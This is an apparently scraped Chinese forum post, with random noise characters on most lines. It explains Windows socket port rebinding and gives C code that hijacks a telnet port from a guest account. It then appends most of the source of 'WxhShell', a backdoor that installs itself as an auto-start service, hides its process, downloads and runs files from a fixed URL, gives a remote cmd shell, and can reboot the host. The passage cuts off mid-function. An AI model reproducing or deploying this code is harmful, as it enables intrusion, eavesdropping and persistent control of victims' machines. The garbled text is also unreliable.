在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3eJ"7sftW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!O*uQB -@yu 9=DT saddr.sin_family = AF_INET;
)NL_))\ Vo:Gp saddr.sin_addr.s_addr = htonl(INADDR_ANY);
m #}%l3$ (SGU]@)g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rk .tLk Z^SF $+UN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!_#2$J*s^D ;$$.L
bb8 这意味着什么?意味着可以进行如下的攻击:
9a lMC ;Zow C#j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&WAJ;7f %P tdFz$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]9/{ 15tT%TC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$g+q;Y~i0 5>*~1}0T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|}^BF%8V: 8^|lsB}x? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
OXCf _vgFcE~E@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%q)*8 g6Nw].{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
a2\r^fY/ :bV1M5 #include
DQRr(r~2Kj #include
>xJh!w<pB #include
w,v~ #include
9$oU6#U,h DWORD WINAPI ClientThread(LPVOID lpParam);
+1Ua`3dWN_ int main()
pX v@QD#! {
t
(>} WORD wVersionRequested;
'k(aZ" DWORD ret;
XDcA&cM}p WSADATA wsaData;
yCLDJ%8 BOOL val;
|#_`aT" SOCKADDR_IN saddr;
/agX! E4s SOCKADDR_IN scaddr;
l!^+Xeg~ int err;
H|i39XV SOCKET s;
J_ S]jE{ SOCKET sc;
?,0 5!] int caddsize;
I!OV+utF HANDLE mt;
OD\F*Ry~ DWORD tid;
1hnw+T<<W wVersionRequested = MAKEWORD( 2, 2 );
xU_Dg56z'& err = WSAStartup( wVersionRequested, &wsaData );
3iC$ "9!p if ( err != 0 ) {
I? o)X! printf("error!WSAStartup failed!\n");
(#`1[n+b`x return -1;
8#&axg?a }
#\X="'/ saddr.sin_family = AF_INET;
g<&n V>wF -p\uW0XA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N!
N>/9 +{F2hEYP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vPbmQh ex saddr.sin_port = htons(23);
FG[YH5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bQFMg41*w7 {
mzkv/ printf("error!socket failed!\n");
mcB8xE return -1;
/9..hEq^ }
}g\1JSJ%H val = TRUE;
drc]"6 k //SO_REUSEADDR选项就是可以实现端口重绑定的
7-u['nFJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
quEP" {
G^Q8B^Lg printf("error!setsockopt failed!\n");
C_~hX G return -1;
X|iWnz+^ }
':jsCeSB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@CJ`T& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
R<GnPN:c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G$)f5_]7{ >PBP:s1f4> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tUPdq 0%t[ {
$xl>YYEBMH ret=GetLastError();
(+^z9p7/! printf("error!bind failed!\n");
C%l+<wpXO return -1;
E0o?rgfdq }
9< $n'g listen(s,2);
{+V]saYP while(1)
5i42o+' {
i G%h- caddsize = sizeof(scaddr);
#-*#? - //接受连接请求
0~:Eo89 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'!wI8f if(sc!=INVALID_SOCKET)
tDk !] {
2iJ)K rw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`$5 QTte if(mt==NULL)
Arzyq_ Yk {
][IEzeI_LN printf("Thread Creat Failed!\n");
)* \N[zm break;
CC<(V{Png }
ZWH9E.uj }
ZgP~VB0)$ CloseHandle(mt);
X?8 EPCk }
D;bHX closesocket(s);
(v'#~ )R_` WSACleanup();
F^/1 u return 0;
sD!)= t_ }
eM$NVpS3 DWORD WINAPI ClientThread(LPVOID lpParam)
E9"P~ nz {
vTdJe SOCKET ss = (SOCKET)lpParam;
hN3*]s;/6z SOCKET sc;
6(5YvT unsigned char buf[4096];
knsTy0] SOCKADDR_IN saddr;
c :{#H9 long num;
4N- T=Ig DWORD val;
=>k E`"{! DWORD ret;
>Yf)]e- //如果是隐藏端口应用的话,可以在此处加一些判断
G'M;]R9EP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K#e&yY saddr.sin_family = AF_INET;
~7$4w# of0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_,?<r&>v6 saddr.sin_port = htons(23);
KT>eE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oN\IQ7oI {
+[R,wsG printf("error!socket failed!\n");
,@#))2<RK return -1;
DN GXp5I }
+p
Y*BP+~i val = 100;
|*T3TsP u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~g|Z6-?4Jj {
RiPxz=kr ret = GetLastError();
!)1gGXRY return -1;
/YLHg5n8+ }
R|&Rq(ow" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Sz_{ #- {
Z?);^m|T ret = GetLastError();
o;zU;pkB return -1;
Mkj` }
|K(2_Wp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jgW-&nK! {
vo]!IY printf("error!socket connect failed!\n");
IOjp'6Yr closesocket(sc);
5x=aJl;G closesocket(ss);
y$Rr,]L return -1;
$Sx(vq6( }
/~O>He while(1)
`Pcbc\"*y {
6VsgZ"Il //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
x/B1\U
I //如果是嗅探内容的话,可以再此处进行内容分析和记录
sT*D]J
2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:"~SKJm num = recv(ss,buf,4096,0);
5vmc'Om if(num>0)
sgGXj7 send(sc,buf,num,0);
Nf!g1D"U else if(num==0)
`+\6;nM break;
L2,.af6+ num = recv(sc,buf,4096,0);
Ki,SFww8r if(num>0)
>]!8f?, send(ss,buf,num,0);
cUH.^_a else if(num==0)
w1&\heSQ break;
ZR,"w }
q9h3/uTv closesocket(ss);
aWCZ1F closesocket(sc);
M&v;#CV return 0 ;
C+m%_6< }
zFba("E Z $5]}] 2I|`j^ ==========================================================
c;13V(Djy /FthT 下边附上一个代码,,WXhSHELL
Xv&&U@7 7'~Oai~r ==========================================================
;J>upI ^7Hwpn7E #include "stdafx.h"
C$+z1z.! VL?sfG0 #include <stdio.h>
Mjon++>Z #include <string.h>
wwuM!Z+ #include <windows.h>
<3)k M&.B #include <winsock2.h>
sP'U9l #include <winsvc.h>
%A$5mi^ #include <urlmon.h>
fFNscY<4w X 3dXRDB' #pragma comment (lib, "Ws2_32.lib")
HVHd@#pDZ #pragma comment (lib, "urlmon.lib")
V'q?+p]
a RDSkFK( D #define MAX_USER 100 // 最大客户端连接数
{O=PVW2S #define BUF_SOCK 200 // sock buffer
#aua6V!" #define KEY_BUFF 255 // 输入 buffer
1
O?bT,"b QhJuH_f 0 #define REBOOT 0 // 重启
3!u`PIQv #define SHUTDOWN 1 // 关机
wU5.t-|` $A;%p6PO) #define DEF_PORT 5000 // 监听端口
m4r<=o cSD$I^$oq #define REG_LEN 16 // 注册表键长度
(Qcd !! #define SVC_LEN 80 // NT服务名长度
&Yklf?EZ>Q i<b-$9 // 从dll定义API
L[cP2X]NQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K0usBA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)4e8LO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x>bGxDtu* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{6tj$&\) WbWEgd%8. // wxhshell配置信息
5<>"d :9 struct WSCFG {
^7SE2Zi int ws_port; // 监听端口
T!ww3d char ws_passstr[REG_LEN]; // 口令
>\o._?xSA int ws_autoins; // 安装标记, 1=yes 0=no
Ab
In\,x char ws_regname[REG_LEN]; // 注册表键名
kj>!&W57 char ws_svcname[REG_LEN]; // 服务名
sW,JnR char ws_svcdisp[SVC_LEN]; // 服务显示名
h.*v0cq: char ws_svcdesc[SVC_LEN]; // 服务描述信息
:Dj0W8V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M-8`zA2 int ws_downexe; // 下载执行标记, 1=yes 0=no
KjNA PfL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@Cml^v@`L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2j;9USZ
p %#<MCiaK };
'N3)>!Y:8 b]b+PK*h // default Wxhshell configuration
2oo/KndU struct WSCFG wscfg={DEF_PORT,
`tPVNO,l "xuhuanlingzhe",
(2ZkfN 1,
[Qqomm.[\w "Wxhshell",
6E-AfY'< "Wxhshell",
-.OZ "WxhShell Service",
3c=>;g "Wrsky Windows CmdShell Service",
6]sP" "Please Input Your Password: ",
cSTF$62E 1,
(6* "
http://www.wrsky.com/wxhshell.exe",
yu>o7ie+;Y "Wxhshell.exe"
.%EYof };
NZ"nG<;5 \2^o,1r/ // 消息定义模块
+'$5Jtz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SU5O+;{`' char *msg_ws_prompt="\n\r? for help\n\r#>";
G1fC'6$3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cN-$;Ent char *msg_ws_ext="\n\rExit.";
^D76_'{ char *msg_ws_end="\n\rQuit.";
hS1I ;*t char *msg_ws_boot="\n\rReboot...";
+ag_ w} char *msg_ws_poff="\n\rShutdown...";
!(HPx@_ char *msg_ws_down="\n\rSave to ";
bE;c&g i IM\_<? char *msg_ws_err="\n\rErr!";
I.[Lv7U- char *msg_ws_ok="\n\rOK!";
}/lyrjV w>o/)TTJL char ExeFile[MAX_PATH];
E)`:sSd9 int nUser = 0;
+[rQf<* HANDLE handles[MAX_USER];
,`bmue5 int OsIsNt;
klR\7+lK 5ZX SERVICE_STATUS serviceStatus;
+BVY9U?\" SERVICE_STATUS_HANDLE hServiceStatusHandle;
E/zclD5S A5T&i] // 函数声明
'3b'moy int Install(void);
5eiKMKW[ int Uninstall(void);
M@z_tR'3\ int DownloadFile(char *sURL, SOCKET wsh);
N8iLI` int Boot(int flag);
2?{'(iay void HideProc(void);
?t5<S]'r$ int GetOsVer(void);
UqD ]@s` int Wxhshell(SOCKET wsl);
/i~x.i3 void TalkWithClient(void *cs);
zI0d int CmdShell(SOCKET sock);
S Rk%BJ? ~ int StartFromService(void);
NBL%5!' int StartWxhshell(LPSTR lpCmdLine);
H:)_;k @^Rl{p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
15S&,$1& VOID WINAPI NTServiceHandler( DWORD fdwControl );
y 2)W"PuG 6e8 gFQ"w2 // 数据结构和表定义
f92z/5%V SERVICE_TABLE_ENTRY DispatchTable[] =
TlowEh8r {
= N;5T {wscfg.ws_svcname, NTServiceMain},
R nwFxFIQ {NULL, NULL}
]q~bi<E9W };
n@L@pgo%~ U\u07^h[ // 自我安装
ez5J+ int Install(void)
tpblm|sW {
t#xfso`4o char svExeFile[MAX_PATH];
Y1ks'=c> HKEY key;
SpImd IpD strcpy(svExeFile,ExeFile);
jfiUf1Mj B
6z 'Q // 如果是win9x系统,修改注册表设为自启动
\1SC:gN*# if(!OsIsNt) {
i),bAU!+m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ap8q`a{j^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4l7
Ny\J RegCloseKey(key);
zn>+\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wBvVY3VQ^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZS%W/.? RegCloseKey(key);
;{aGEOP'U return 0;
`U=Jbdc l3 }
$H)QUFyC }
Vm[F~2+HX }
*NG\3%}%|@ else {
Xo:Mar 2e-`V5{)b // 如果是NT以上系统,安装为系统服务
x0b=r!Duu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v$D U
q+ if (schSCManager!=0)
x5CMP%}d {
?%[~J SC_HANDLE schService = CreateService
2n$Wey[ (
peF)U
!`D schSCManager,
1yZA_x15: wscfg.ws_svcname,
L$i:~6 wscfg.ws_svcdisp,
uIbAlE SERVICE_ALL_ACCESS,
ZSs@9ej SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y%X!l(gQ SERVICE_AUTO_START,
5|=J\Lp2I SERVICE_ERROR_NORMAL,
9|lLce$ svExeFile,
#%2 d;V NULL,
yx|{:Li! NULL,
zPxR=0| NULL,
W7Y@]QMX NULL,
B;?)X&n|X NULL
/y$ Fw9R; );
b*.aaOb if (schService!=0)
k qL.ZR {
4g"%?xN CloseServiceHandle(schService);
8]Tv1Wc CloseServiceHandle(schSCManager);
,~=]3qmbR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
- om9 Z0e strcat(svExeFile,wscfg.ws_svcname);
.>eR X% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
NhCucSU<K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P1Z"}Qw RegCloseKey(key);
E*u*LMm return 0;
BvsSrse }
oOaFA+0x }
#G.eiqh$a CloseServiceHandle(schSCManager);
aopZ-^ }
#-\5O }
MqB@}! +C8O" return 1;
ZMb+sUK }
*!ng)3# Ps>:|j+ // 自我卸载
.}/8] int Uninstall(void)
$L 8>Ha} {
rD~/]y)t HKEY key;
.wD
$Bsm`t 0U@#&pUc if(!OsIsNt) {
}L)[> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GTM0Qvf? RegDeleteValue(key,wscfg.ws_regname);
;aV3j/ RegCloseKey(key);
L FkDb} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vMB61 |O RegDeleteValue(key,wscfg.ws_regname);
aZ4?!JW . RegCloseKey(key);
kqm(D# return 0;
aTTkj\4 }
RARA _tii }
VaY#_80$s }
k9f|R*LM else {
>]pZ;e$ |67Jw2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L?j0t*do if (schSCManager!=0)
j(Lz& *4 {
t\hnnu`Pq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Yu\$Y0 {] if (schService!=0)
N?ccG\t {
s`_EkFw>Gl if(DeleteService(schService)!=0) {
h/t;ZLUAZP CloseServiceHandle(schService);
(<r)xkn CloseServiceHandle(schSCManager);
tg@61V?> return 0;
>jsY'Bm }
U?sHh2* CloseServiceHandle(schService);
Tj#S')s8 }
< j:\;mi; CloseServiceHandle(schSCManager);
12z!{k7N }
oj -
`G }
[j-?) n2bhCd]j<b return 1;
iR nj N }
46}U+> AQUAQZc // 从指定url下载文件
BV
B2$&eJ int DownloadFile(char *sURL, SOCKET wsh)
7DJEx~"!2- {
/"8e, HRESULT hr;
oI{.{] char seps[]= "/";
=|]h-[P' char *token;
|y U!d
% char *file;
B18BwY char myURL[MAX_PATH];
P|<V0
Vs. char myFILE[MAX_PATH];
"00j]e. ~j'D%:[+VH strcpy(myURL,sURL);
1`K-f
m) token=strtok(myURL,seps);
Q;$k?G=l while(token!=NULL)
xrPZy*Y, {
Xx{| [2` file=token;
VGc*aQYa token=strtok(NULL,seps);
b^$`2m-?@f }
ZLT?G V|MHDMD= GetCurrentDirectory(MAX_PATH,myFILE);
p>7qyZ8 strcat(myFILE, "\\");
X$>F78e* strcat(myFILE, file);
bg i_QB#k\ send(wsh,myFILE,strlen(myFILE),0);
no3yzF3Hi send(wsh,"...",3,0);
>+a\BK"k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;_I>`h"r if(hr==S_OK)
TRGpE9i return 0;
JB~^J5#[Oh else
x#EE_i/W return 1;
KSPa2>lz? gB'ajX=OA/ }
y''~j<' ayA;6Qt // 系统电源模块
w0_P9g: int Boot(int flag)
d/7R}n^ {
<R7{W"QTA) HANDLE hToken;
Zo<)r2|O. TOKEN_PRIVILEGES tkp;
<a"(B*bBd U3{<+vSR` if(OsIsNt) {
Z<i}XCE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Mp`$1Ksn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{$z54nvw$ tkp.PrivilegeCount = 1;
1%+-}yo< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qSvV|G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:hZM$4 if(flag==REBOOT) {
]o<]A[< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Kz"3ba}KH return 0;
idYB.]Y( }
?:\/-y)Sp else {
F0<)8{s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]%Eh" return 0;
O`@Nl }
Fa%1]R }
lnyb4d/ else {
eM<N?9 s if(flag==REBOOT) {
kkq1:\pZ]a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ab2FK return 0;
]bY|>q }
e'K~WNT else {
efXnF*Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j;3I` : return 0;
]Lub.r }
}3{eVct#| }
m.K cTM%j ;7P'>j1?U return 1;
)dkU4] }
VmqJMU>. qdix@@ // win9x进程隐藏模块
Te-p0x?G. void HideProc(void)
uyWheR {
[7vV#s3kJ Uj(0M;#%o+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
62sl6WWS3 if ( hKernel != NULL )
j}^w:W76 {
AM}2=Ip pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;ek*2Lh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y:!L FreeLibrary(hKernel);
2`4m"D tA }
FgH7YkKrD [[$CtqLg return;
;:6\w!fc }
|`LH|6/ j$)ogGu // 获取操作系统版本
=LaEEL int GetOsVer(void)
Ek L2nI {
u_k[<&$ OSVERSIONINFO winfo;
"W7|Xp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`WayR^ 9 GetVersionEx(&winfo);
ab6I*DbF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
''nOXl return 1;
} k2Q else
4CM'I~ return 0;
%hVR|K|J }
1[!:|= g6,D Bkv2 // 客户端句柄模块
|[.-pA^ int Wxhshell(SOCKET wsl)
8%9 C<+.R {
/.SG? 5t4 SOCKET wsh;
MKBDWLCB struct sockaddr_in client;
c2P}P* _ DWORD myID;
JXc.?{LL (GC]= while(nUser<MAX_USER)
UY(T>4H+h {
@"7S$@cO int nSize=sizeof(client);
?9~^QRLT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u}5CzV ` if(wsh==INVALID_SOCKET) return 1;
{,%&}kd> lb_N"90p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
OH
t)z.
if(handles[nUser]==0)
i\sBey ND" closesocket(wsh);
>bW=oTFz else
T-] {gc nUser++;
?Lg(,-: }
KwL_ae6fV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,31 ?
Aa /s4~Ij`be return 0;
%B$ftsYXmu }
RIMSXue*Ha I8bM-k):9R // 关闭 socket
XFS~ void CloseIt(SOCKET wsh)
(tg.]q_=u {
0-Mzb{n5 closesocket(wsh);
'9}&@;-_ nUser--;
i7#4&r ExitThread(0);
DPI[~ }
B\Nbt!Ps p{w- // 客户端请求句柄
Tdi^P}i_ void TalkWithClient(void *cs)
=~;~hZj {
.a@12J(I V%8(zt SOCKET wsh=(SOCKET)cs;
mUg :<.^ char pwd[SVC_LEN];
^%7( char cmd[KEY_BUFF];
]rv\sD`[ char chr[1];
!6(3Y int i,j;
qZd*'ki< `Z;Z^c while (nUser < MAX_USER) {
'[#y| b? );
D if(wscfg.ws_passstr) {
]RT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s47R,K$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wKM9fs //ZeroMemory(pwd,KEY_BUFF);
=|?`5!A i=0;
gzs\C{4D while(i<SVC_LEN) {
b?}mQ! 0+CcNY9 // 设置超时
23?u_?+4i fd_set FdRead;
c>LP}PGk struct timeval TimeOut;
D{+@ ,C7B FD_ZERO(&FdRead);
a3yNd
FD_SET(wsh,&FdRead);
1/97_:M0~F TimeOut.tv_sec=8;
?06gu1z/ TimeOut.tv_usec=0;
5Y *4a%" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6|eqQ+(A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a`'>VCg ozRO:*51 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+YvF+E pwd
=chr[0]; #tV1?q
if(chr[0]==0xd || chr[0]==0xa) { M/W"M9u
pwd=0; o|@0.H|
break; =o9s?vOJ
} s;vt2>;q+e
i++; Ih.+-!w
} ^77W#{ Zs
VEgtN}
// 如果是非法用户,关闭 socket ,8 4|qI
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n[jXqFm!`
} :BPgDLL,
6&$.E! z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $'V^_|EL7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _pTcSp3
vqeH<$WHvy
while(1) { *p(_="J,
$}&a*c>
ZeroMemory(cmd,KEY_BUFF); c]M+|R5
cpOt?XYR~
// 自动支持客户端 telnet标准 hL3up] pZ
j=0; __g?xw
while(j<KEY_BUFF) { 1
m'.wh|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )-4c@
cmd[j]=chr[0]; Jinh#iar
if(chr[0]==0xa || chr[0]==0xd) { !{-W%=Kf
cmd[j]=0; j#//U2VdN
break; A]bQUWt2
} zQ=b|p]|W
j++; C'I&<
} sx#O3*'>1
XY'=_5t
// 下载文件
fJ*^4
if(strstr(cmd,"http://")) { O<$w-(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); d ~M;
if(DownloadFile(cmd,wsh)) .:?v;rYk{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>_Rsw *
else l!,tssQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +v
B}E
} 2'fd4rE5
else { |XB<vj07G
ql@2<V{
switch(cmd[0]) { 'UX^]
eX$KH;M
// 帮助 S>dHBR#AD
case '?': { V48_aL
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?$/::uo
break; ]H/,Q6Q
} gkmof^
// 安装 UCVYO.
9"
case 'i': { )xcjQkb
if(Install()) lR %#R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &4OJJ9S
else =aVvv+T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7]rIq\bM
break; *P' X[z
} p7YYAh@x\
// 卸载 Osqk#Oh
case 'r': { lj]M 1zEz&
if(Uninstall()) "e-Y?_S7R8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .JKH=?~\
else Tt~4'{Bc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JzEg`Sn^
break; 4pL'c@'
} :P-H8*n""
// 显示 wxhshell 所在路径 }[eUAGhDU
case 'p': { 3V]dl)en%
char svExeFile[MAX_PATH]; PY.HZ/#d
strcpy(svExeFile,"\n\r"); uf?;;wg
strcat(svExeFile,ExeFile); G
`|7NL
send(wsh,svExeFile,strlen(svExeFile),0); __}SHU0R
break; $ #!oejLD
} gOg7:VPG
// 重启 ]C^ #)7
case 'b': { CG%bZco((
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mPA)G,^
if(Boot(REBOOT)) 7FH-l(W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M
%,\2!$
else { ?eTZ>o.p/
closesocket(wsh); }C @xl9S "
ExitThread(0); [7><^?t
V
} diXWm-ZKL
break; ,It0brF
} .M:&Aj)x16
// 关机 ZW;Ec+n_K
case 'd': { Qy9_tvq
X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w
yxPvI`
if(Boot(SHUTDOWN)) BZ\="N#f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KOg,V_(I
else { o135Xh$_>'
closesocket(wsh); i5 r<CxS
ExitThread(0); rT R$\ [C
} Vn_&q6Pa
break; f8-`bb
} #_ulmB;
// 获取shell Ho(MO!(
case 's': { mZU
L}[xf
CmdShell(wsh); 5"h4XINZ
closesocket(wsh); ddL3wQ
ExitThread(0); ;X+0,K3c
break; ubB1a_7
} rZ,qHM
// 退出 tzN9d~JZ
case 'x': { ds*gL ~k^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FqJd
CloseIt(wsh); qVU<jt
break; GipiO5)1C
} X#T|.mCdC
// 离开 9z4F/tUq
case 'q': { Pac ^=|h<q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h HHR]e5:
closesocket(wsh); $/^Y(0
WSACleanup(); ot7f?tF2<J
exit(1); to13&#o
break; iAe"oXK|
} #TUm&2 +V
} @|\;#$?XW3
} n$ByTmKxv
=9,mt
K~
// 提示信息 r7VBz_Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dz hLb8k
} *
0K]/tn<
} !=30s;-
,w "cY?~<
return; #U0| j?!D
} T.De1Q|
[e,xC!2
// shell模块句柄 \u.5_
g
int CmdShell(SOCKET sock) X%-"b`
{ 7VfXE/
STARTUPINFO si; H`<u2fo|p
ZeroMemory(&si,sizeof(si)); 1<h@^s ;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /7B3z}rd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fV9+FOZn
PROCESS_INFORMATION ProcessInfo; )2"WC\%
char cmdline[]="cmd"; &2:WezDF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !rgXB(
return 0; zx)}XOYf
} <O)
if^
;xq;c\N
// 自身启动模式 @<P;F
int StartFromService(void) )j]f
]8
{ j*2/[Eq
typedef struct oTk\r$4eb
{ f`vWCb
DWORD ExitStatus; vy
[7I8f{
DWORD PebBaseAddress; c-zW
2;|61
DWORD AffinityMask; l
DWORD BasePriority; FM3.z)>
